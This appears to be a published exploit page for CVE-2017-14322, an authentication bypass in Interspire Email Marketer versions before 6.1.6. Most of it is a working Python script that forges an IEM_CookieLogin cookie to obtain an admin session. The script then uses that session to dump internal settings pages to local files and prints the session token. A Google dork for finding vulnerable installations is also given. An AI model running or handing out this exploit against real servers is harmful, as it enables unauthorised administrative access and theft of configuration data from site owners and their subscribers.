Interspire Email Marketer Administrative Authentication Bypass

nterspire Email Marketer versions prior to 6.1.6 suffer from a remote administrative authentication bypass vulnerability.


MD5 | 01c71296da886b2dfd4fbe8c96e8f0e2

'''
# Exploit Title: Interspire Email Marketer - Remote Admin Authentication Bypass
# Google Dork: intitle:"Control Panel" + emailmarketer
# Date: 4-22-18
# Exploit Author: devcoinfet
# Vendor Homepage: www.interspire.com/emailmarketer
# Software Link: Can't legally provide link but can be found on net
# Version: [6.1.3-6.1.6]
# Tested on: Below 6.1.6
# CVE : CVE-2017-14322

https://security.infoteam.ch/en/blog/posts/narrative-of-an-incident-response-from-compromise-to-the-publication-of-the-weakness.html
https://github.com/joesmithjaffa/CVE-2017-14322
thanks to above Researchers

1. Description



this is used like this
--------------------------
exploit.py url/email-marketer/admin/index.php


2. Proof of Concept
'''


import requests
import sys
from bs4 import BeautifulSoup
from pprint import pprint


def cookie_cutter(url):
with requests.Session() as s:
s.get(url)
r = s.get(url)
response_regex = r.text
print("requesting initial Cookie\n")
print(str(r.headers)+"\n")

for key,value in s.cookies.items():
if key and "IEMSESSIONID" in key:

s.cookies.set('IEM_CookieLogin', "YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D")
print("Attempting To Posion 2nd request with Forged Cookie\n")
print("-" * 25)
r = s.get(url)
response_regex2 = r.text
print response_regex2
print(str(r.headers) + "\n")
if response_regex != response_regex2:

for key,value in s.cookies.items():
if "IEMSESSIONID" in key:
try:
#using session riding from previous cookie we grab the info we want :)
bounce_info_grab(url,value)
app_info_grab(url,value)
privt_info_grab(url,value)
except:
pass
return value,r.text


def bounce_info_grab(url,session_to_ride):
url_grab = url+"?Page=Settings&Tab=2"
print(url_grab)
with requests.Session() as s:
s.get(url_grab)
s.cookies.set('IEMSESSIONID',session_to_ride)
r = s.get(url_grab)
response_regex = r.text
soup = BeautifulSoup(response_regex,'html5lib')
div = soup.find('div', id='div7')


outfile = open("bounce_report.txt",'w')
dataout = """<html><head>Report</head><title>Report</title>
<body>""" + str(div) +"""</body></html>"""
outfile.write(dataout)
outfile.close()
for divy in div.contents:
print(divy)

def app_info_grab(url,session_to_ride):
url_grab = url+"?Page=Settings&Tab=2"
print(url_grab)
with requests.Session() as s:
s.get(url_grab)
s.cookies.set('IEMSESSIONID',session_to_ride)
r = s.get(url_grab)
response_regex = r.text
soup = BeautifulSoup(response_regex,'html5lib')
div = soup.find('div', id='div1')


outfile = open("application_settings_report.txt",'w')
dataout = """<html><head>Report</head><title>Report</title>
<body>""" + str(div) +"""</body></html>"""
outfile.write(dataout)
outfile.close()
for divy in div.contents:
print(divy)

def privt_info_grab(url,session_to_ride):
url_grab = url+"?Page=Settings&Tab=2"
print(url_grab)
with requests.Session() as s:
s.get(url_grab)
s.cookies.set('IEMSESSIONID',session_to_ride)
r = s.get(url_grab)
response_regex = r.text
soup = BeautifulSoup(response_regex,'html5lib')
div = soup.find('div', id='div8')


outfile = open("privtlbl_settings_report.txt",'w')
dataout = """<html><head>Report</head><title>Report</title>
<body>""" + str(div) +"""</body></html>"""
outfile.write(dataout)
outfile.close()
for divy in div.contents:
print(divy)

def main():
url = sys.argv[1]
print "Evaluating Target:" +url+ """ For CVE-2017-14322"""+"\n"
print "-" * 25
try:
session_rider_value,content = cookie_cutter(url)
print "Session Has Been Generated Entering Internal Data Dumping Routine"+"\n"
print "-" * 25
print "Magic Cookie Generated Modify Existing IEMSESSIONID Value In browser With Below Value "
print "-" * 25
print session_rider_value+"\n"
print "-" * 25
except:
print "Target Is Not Vulnerable"
pass



main()

'''
When Running this, if it is succesful check for 3 files in the directory of exploit to find crucial internal configs in Html format
do not use this for bad just dont do it please.


3. Solution:

Update to version 6.1.6 atleast
http://www.interspire.com/emailmarketer
'''



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